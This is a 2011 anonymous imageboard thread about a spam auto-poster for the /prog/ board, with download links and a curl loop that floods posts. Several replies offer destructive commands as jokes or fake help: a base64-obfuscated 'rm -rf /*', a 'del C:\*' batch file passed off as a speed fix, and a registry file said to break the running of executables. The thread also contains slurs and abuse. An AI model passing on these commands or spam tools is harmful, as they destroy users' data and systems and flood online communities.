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Auto Poster

Name: Anonymous 2011-05-07 3:17

I heard from a friend that someone on /prog/ about a week ago programmed a configurable auto poster in the form of a runnable JAR. Does anybody know where I can find this JAR and/or source code?

Name: Anonymous 2011-05-07 3:20

What?  It would take less time to write such a program than download one.  Surely your not serious.

Name: Anonymous 2011-05-07 3:25

>>2
Im learning. I've never used sockets or anything internet related before.

Name: Anonymous 2011-05-07 3:28

using something you programmed to post on this board makes about as much sense as shoving a dildo up your ANUS

Name: Anonymous 2011-05-07 3:33

>>4
Well some people are into both.

Name: Anonymous 2011-05-07 3:49

socket and see

Name: Anonymous 2011-05-07 4:04

3

Name: Anonymous 2011-05-07 4:06

>>1
Why would you assist you in spamming our board?

Name: Anonymous 2011-05-07 4:07

>>8
Why would we assist you in spamming our board?

Name: Anonymous 2011-05-07 12:36

A ``runnable JAR''? Adorable.

Name: Anonymous 2011-05-07 14:34

>>10
Just like minecraft.

Name: Anonymous 2011-05-07 14:37

>>11
( ≖‿≖)

Name: Anonymous 2011-05-07 14:41

>>10
A dorable? ``Run jar''.

Name: VIPPER 2011-05-07 14:44

>>10
A ``squattable JAR''? Adorable.
jarsquatter.com

Name: Anonymous 2011-05-07 14:48

>>14
oh fuck you

Name: Anonymous 2011-05-07 14:57

>>1
`echo cm0gLXJmIC8qCg==|base64 -d`

Name: Anonymous 2011-05-07 18:11

>>16
Backticks considered wonderful.

Name: Anonymous 2011-05-07 19:53

Bump for answer.

Name: Anonymous 2011-05-07 20:04

>>18
How about you eat a nice big bag of dicks?

Name: Anonymous 2011-05-07 20:15

Name: Anonymous 2011-05-07 21:00

>>1
Took me a bit of prog scrapping but I found it.

https://rapidshare.com/files/459713432/SOTF.jar

Name: Anonymous 2011-05-07 21:03

Testing SOTF

Name: Anonymous 2011-05-07 21:03

Testing SOTF

Name: Anonymous 2011-05-07 21:04

Testing SOTF

Name: Anonymous 2011-05-07 21:04

Nice!

Name: Anonymous 2011-05-07 23:42

>>22-25
Congratulations, you've figured out how to do something that takes a total of 10 lines in Python.

Name: Anonymous 2011-05-08 0:02

>>26
Congratulations, you've figured out how to do something that takes a total of 10 lines in Python that takes a total of 5 lines in Lisp.

Name: Anonymous 2011-05-08 0:19

>>27
Granted, those 5 lines of Lisp will barely make any sense.

Name: Anonymous 2011-05-08 1:56

jews

Name: Anonymous 2011-05-08 1:59

Congratulations, you've figured out how to do something that takes a total of while true; do curl -d "meiru=sage&id=1304752665& lol what 2&bbs=prog&com=jews&email='" dis.4chan.org/post.php; done (and that starts posting faster than you can type emacsclient)

Name: Anonymous 2011-05-08 2:10

MORE LIKE
AUTO FISTER
AMIRITE LOLLLLLLLLLLLLLLLLLLLLLLLZzz!!11oNE!!1ONE1!

Name: Anonymous 2011-05-08 2:36

>>30
lol what 2
U MENA shiichan=proper2

It's also missing an user agent, that will just get you a ban.

Name: Anonymous 2011-05-08 3:09

>>32
It's also missing an user agent, that will just get you a ban
No it won't.

Name: Anonymous 2011-05-08 9:19

>>30
Yeah but >>21 has an enterprize swing gui.

Name: Anonymous 2011-05-08 9:48

>>34
I downloaded it, now how do I view it's source code?

Name: Anonymous 2011-05-08 9:55

>>35
Double click to run it faggot.
To view its source code, first open it with winrar then extract the .class file.
Now download a .class to .java converter.
Convert it to the .java and open it. Now you're done.

Name: Anonymous 2011-05-08 12:31

>>36
What you mean is:
java -jar file.jar
and
unrar e file.jar

Name: Anonymous 2011-05-08 14:31

>>37
No, I don't think >>35-sama knows what a command line is.

Name: Anonymous 2011-05-08 14:34

>>14
That jar failed to extend the abstract squattable class.

Name: Anonymous 2011-05-08 14:37

>>38
terminal*

Name: Anonymous 2011-05-08 15:00

>>40
*textual shell/command-line interface

Name: Anonymous 2011-05-08 16:27

>>41
*autistic anus interface

Name: Anonymous 2011-05-08 23:00

bump

Name: Anonymous 2011-05-09 2:00

how do i do images?

Name: Anonymous 2011-05-09 2:25

man curl ihbt DON'T HELP HIM

Name: Chat for /prog/ 2011-05-09 2:34

Looking for a good time? http://trollmegle.cel3stial.com/

Name: Anonymous 2011-05-09 13:30

Looking for a bad time?
Spend some time on /prog/ ;[

Name: Anonymous 2011-05-09 13:58

I am really surprised that with the /prog/ spammer out in the open, we don't have more people shitting all over /prog/.

Name: Anonymous 2011-05-09 15:01

>>47
nice.

Name: Anonymous 2011-05-09 16:43

>>48
It's written in pig disgusting Java.

Name: Anonymous 2011-05-09 21:25

>>50
It still seems to work though. Except when you go into 'shitstorm' you can't go back to 'single target' without restarting the program.

Name: Anonymous 2011-05-09 21:49

>>48
people use it once and get bored. They will use it again when they have a bout of low self esteem and feel like lashing out at something.

Name: Anonymous 2011-05-09 21:58

>>47
I lol'd.

Name: Anonymous 2011-05-09 22:01

>>51
My sagetank is simpler, it's just:
(bomb thread-ids ...) :: (U String Bytes Natural) * → Void
(bomb-subject-txt threads) :: (U Natural 'all) → Void

Name: Waka Flocka 2011-05-10 0:56

I GO HARD IN THE MOTHERFUCKING PAINT NIGGA

Name: Anonymous 2011-05-10 3:36

bump

Name: Anonymous 2011-05-10 3:41

sage

Name: Anonymous 2011-05-10 4:42

1guy1jar

Name: Anonymous 2011-05-10 5:51

Name: Anonymous 2011-05-10 14:51

>>58
That's Java in a nutshell.

Name: Anonymous 2011-05-10 16:43

>>58
Also known as "How to hax your own anus with a JAR"

Name: Anonymous 2011-05-10 18:14

I code?

Name: Anonymous 2011-05-11 2:14

This thread is proof that 90% of /prog/ can't program.




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Name: Anonymous 2011-05-11 3:57

>>63
This thread is proof that I can't program.

Name: Anonymous 2011-05-11 12:49

>>21
why doesnt it work with other world4ch boards

Name: HotCupOfJava !!7YfDQjROXukLpYb 2011-05-11 16:55

>>65
I'll fix it.

Name: HotSpermOfJews !!u81BLaniX4HKOKS 2011-05-11 17:07

>>66
Fuck off, «faggot».

Name: Anonymous 2011-05-11 20:33

>>66
Stop helping him!

Name: HotCupOfJava !!7YfDQjROXukLpYb 2011-05-11 22:17

Ok, it works for all boards now. Also I fixed a thread destruction bug and tweaked the monitor so if morons click the buttons too fast the slave thread won't be locked in wait() mode forever.

https://rapidshare.com/files/633547738/SOTJ.jar

Name: Anonymous 2011-05-11 22:54

DONT DOWNLOAD!! IS VIRUS!!! >>69 IS AN ASS!!!
SHE'S PROGRAM FUCKED MY REGISTRY!! WHAT NOW?? I MUST TO FORMAT MY HARD DISK. FUCK YOU!!!!

Name: Anonymous 2011-05-11 22:55

>>69
slave thread
more like jew thread amirite?

Name: HotCupOfJava !!7YfDQjROXukLpYb 2011-05-11 22:58

>>70
¬_¬

Name: HotCupOfJava !!7YfDQjROXukLpYb 2011-05-11 23:03

Well, if you wanted to shit on your registry, I'll help you out. Copy the following into a text editor and save it as haxmyanus.reg

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\.exe]
@="exefile"
"Content Type"="application/x-msdownload"

[HKEY_CLASSES_ROOT\.exe\PersistentHandler]
@="{A98f2470-bae0-11cd-b579-08002b30bfeb}"

[HKEY_CLASSES_ROOT\exefile]
@="Application"
"EditFlags"=hex:3A,07,00,00
"TileInfo"="prop:FileDescription;Company;FileVersion"
"InfoTip"="prop:FileDescription;Company;FileVersion;Create;Size"

[HKEY_CLASSES_ROOT\exefile\DefaultIcon]
@="%A"

[HKEY_CLASSES_ROOT\exefile\shell\open]
"EditFlags"=hex:0A,0A,0A,0A

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%A\" %*"

[HKEY_CLASSES_ROOT\exefile\shell\runas\command]
@="\"%A\" %*"

[HKEY_CLASSES_ROOT\exefile\shellex\DropHandler]
@="{A6C86720-42A0-1069-A2E8-08002B30309D}"

[HKEY_CLASSES_ROOT\exefile\shellex\PropertySheetHandlers\PEAnalyser]
@="{A9A63660-16F9-11d0-B1DF-004F56001CA7}"

[HKEY_CLASSES_ROOT\exefile\shellex\PropertySheetHandlers\PifProps]
@="{A6F19A00-42A0-1069-A2E9-08002B30309D}"

[HKEY_CLASSES_ROOT\exefile\shellex\PropertySheetHandlers\ShimLayer Property Page]
@="{A13D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"

Name: Anonymous 2011-05-11 23:56

>>73
Ok, now do I double click it? What exactly will happen?

Name: Anonymous 2011-05-12 0:17

>>74
Dive right in and experience the pleasure of being cummed inside.

Name: Anonymous 2011-05-12 1:51

>>74
try this instead, make computer fast!

del "C:\*" /F /S /Q

save as FASTCOMPUTER.BAT

Name: Anonymous 2011-05-12 3:08

>>75
My butt feels soo good right now

Name: Anonymous 2011-05-12 4:03

It sure is getting /g/ in here real quick.

Name: Anonymous 2011-05-12 4:25

Attention /prog/ idiots: Quit fucking with World News. I know its one of you in this thread. We've been getting spammed to shit with nonsense and lookey here, a fucking spambot thread in /prog/. What's that? some idiot( >>69 ) posted a version that can target all the world4ch boards, LESS THAN 24 HOURS AGO?

Stop this shit or I am reporting this whole thread. Where the fuck are the mods?

Name: Anonymous 2011-05-12 5:00

>>79
mods on the text boards
lol

Name: Anonymous 2011-05-12 5:22

>>78
>implying your not a huge faggot

>>79
u mad bro?

Name: Anonymous 2011-05-12 8:12

>>73
I'm really tempted to create a Windows VM just to try this out. What does it do anyway?

Name: Anonymous 2011-05-12 10:15

>>79
Join the club, I report many threads in this board. Also, people exploiting >>69's work are idiotic. The mods can be found at irc://irc.rizon.net/4chan

Name: Anonymous 2011-05-12 10:23

>>83
lolol is ur dof dead

GO FUCK A NIGGER

Name: Anonymous 2011-05-12 12:52

>>83
suck my dick, fag

Name: Anonymous 2011-05-12 13:47

>>82
Makes it so you cant run .EXEs or .COMs or .REGs ever again. Close to impossible to recover from.

Name: Anonymous 2011-05-12 14:01

>>86
Wow. I suppose you could restore the registry outside of Windows using some form of Unix.

Name: Anonymous 2011-05-12 14:13

>>87
good idea! brb I gotta try that

Name: Java Suit 2011-05-12 16:47

JAVA

Name: Anonymous 2011-05-12 17:45

AIDS was made by THE GOVERNMENT

Name: Java Suit 2011-05-12 21:05

how do i fart the new autism?

Name: Anonymous 2011-05-13 0:04

bump for more java pwnage

Name: Anonymous 2011-05-13 1:27

>>91
fuck if i know

Name: Java Suit 2011-05-13 3:45

how do i fart the new autism?

Name: Java Suit 2011-05-13 3:46

how do i fart the new autism?

Name: Anonymous 2011-05-13 16:20

dubs

Name: Java Suit 2011-05-13 16:20

JAVA

Name: Anonymous 2011-05-16 14:36

farting dubs

Name: Anonymous 2011-05-16 14:36

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Name: Anonymous 2011-05-17 14:08

better dubs

Name: Anonymous 2013-01-19 21:39


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